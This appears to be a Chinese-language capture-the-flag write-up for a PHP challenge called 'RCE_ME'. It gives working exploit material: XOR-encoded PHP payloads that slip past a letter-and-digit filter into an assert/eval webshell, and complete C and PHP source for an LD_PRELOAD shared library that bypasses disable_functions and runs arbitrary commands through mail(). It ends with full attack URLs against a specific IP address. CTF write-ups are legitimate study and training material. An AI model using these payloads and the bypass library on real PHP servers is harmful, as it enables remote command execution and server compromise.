0%

bypass_disable_functions

RCE_ME

绕过&获取shell

image-20191030142752981

根据代码要求:

  1. 长度不能大于40

  2. 不能包含大小写字母,数字

在PHP中两个字符异或可以得到另外一个字符,例如

1
2
3
<?php
echo "!" ^ "}";
?>

image-20191030150348065

利用这点我们就能绕过对字母数字的过滤

之后我们要绕过对长度的限制,40字符实在是限制太大了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
#code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo(); //构造payload执行php函数
$_="`{{{"^"?<>/";
var_dump($_); //string(4) "_GET"

var_dump(urldecode("%fe%fe%fe%fe")^urldecode("%a1%b9%bb%aa")); //string(4) "_GET"

${$_}[_](${$_}[__]);
#$_GET[_]($_GET[__])

#&_=assert
#&__=eval($_GET[a])&a=phpinfo();
//code=assert(eval($_GET[a])&a=phpinfo();)

?>

访问

1
http://114.116.44.23:40001/?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();

image-20191030152007908

接着构造payload让蚁剑来连

1
http://114.116.44.23:40001/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

image-20191030152338199

image-20191030152446769

flag只有root权限才能访问,readflag估计是用来读flag的。

直接在虚拟终端中执行readflag命令

image-20191030152803007

发现命令都无法执行,查看phpinfo();估计是调用系统命令的函数被禁用了

1571499768310

bypass_disable_functions

一般而言,利用漏洞控制 web 启动新进程 a.bin,a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。基于这一思路,常见突破 disable_functions 限制执行操作系统命令的方式为:

  • 编写一个原型为 uid_t getuid(void); 的 C 函数,内部执行攻击者指定的代码,并编译成共享对象 getuid_shadow.so;
  • 运行 PHP 函数 putenv(),设定环境变量 LD_PRELOAD 为 getuid_shadow.so,以便后续启动新进程时优先加载该共享对象;( LD_PRELOAD是Unix中的一个环境变量,用于定义在程序运行前优先加载的动态链接库,LD和动态库有关,PRELOAD表示预加载,结合起来就是预先加载的动态库。通过这个环境变量,可以覆盖正常的函数库中的函数。)
  • 运行 PHP 的 mail() 函数,mail() 内部启动新进程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 调用的系统函数 getuid() 被优先级更好的 getuid_shadow.so 中的同名 getuid() 所劫持;
  • 达到不调用 PHP 的各种命令执行函数(system()、exec() 等等)仍可执行系统命令的目的。

a.c文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
#include<string.h>
int main(int argc,char **argv){
char passwd[]="123456";

if(argc<2){
printf("input password!\n");
return 0;

}
if(!strcmp(passwd,argv[1])){
printf("Correct\n");

}
else{
printf("Invalid\n");
}

}

image-20191030171503480

如果是不知道密码的情况下,就可以编写一个动态函数库来覆盖掉strcmp函数恒返回0以达到任意密码都返回Correct

1
-fPIC 作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code), 则产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意 位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的

evil.c文件:

1
2
3
4
5
#include<stdio.h>
int strcmp(const char *s1,const char *s2){
printf("evil function\n");
return 0;
}

image-20191030172344903

所以绕过disable_functions,可以通过上传恶意so文件,劫持getuid(),达到命令执行目的。之所以劫持 getuid(),是因为 sendmail 程序会调用该函数(当然也可以为其他被调用的系统函数)

但是这种劫持函数的做法有很大的缺陷:

​ 一是,某些环境中,web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;二是,即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com)

C 语言扩展修饰符

回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那就完全可以不依赖 sendmail 了

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。这一细节非常重要,很多朋友用 LD_PRELOAD 手法突破 disable_functions 无法做到百分百成功,正因为这个原因,不要局限于仅劫持某一函数,而应考虑拦劫启动进程这一行为

此外,通过 LD_PRELOAD 劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD。最直观的做法是调用 unsetenv("LD_PRELOAD")

putenv

PHP中putenv()函数用于设置服务器环境变量,仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。

1
putenv ( string $setting ) : bool

1
putenv("LD_PRELOAD=/tmp/evil.so");

劫持共享库绕过disable_functions

把readflag下载到本地 IDA反编译

1571502795907

bypass.c文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ; //获取环境变量

__attribute__ ((__constructor__)) void preload (void)
{

const char* cmdline = getenv("EVIL_CMDLINE");
//获取EVIL_CMDLINE的值
int i;
//从环境变量中遍历“LD_PRELOAD”的位置,并将其值设为NULL。
//从而使下面的system()正常执行。
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// 执行命令
system(cmdline);
}
1
gcc -shared -fPIC bypass.c -o bypass_x64.so

bypass.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline); //设置EVIL_CMDLINE环境变量
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path); //加载恶意动态库
mail("", "", "", ""); //利用mail函数触发恶意函数,跳转至__attribute__ ((__constructor__))修饰的函数。
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

最终payload为

1
http://114.116.44.23:40001/?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=include(%27/tmp/bypass.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_x64.so

image-20191103123740141

参考文章1

参考文章2

-------------本文结束感谢您的阅读-------------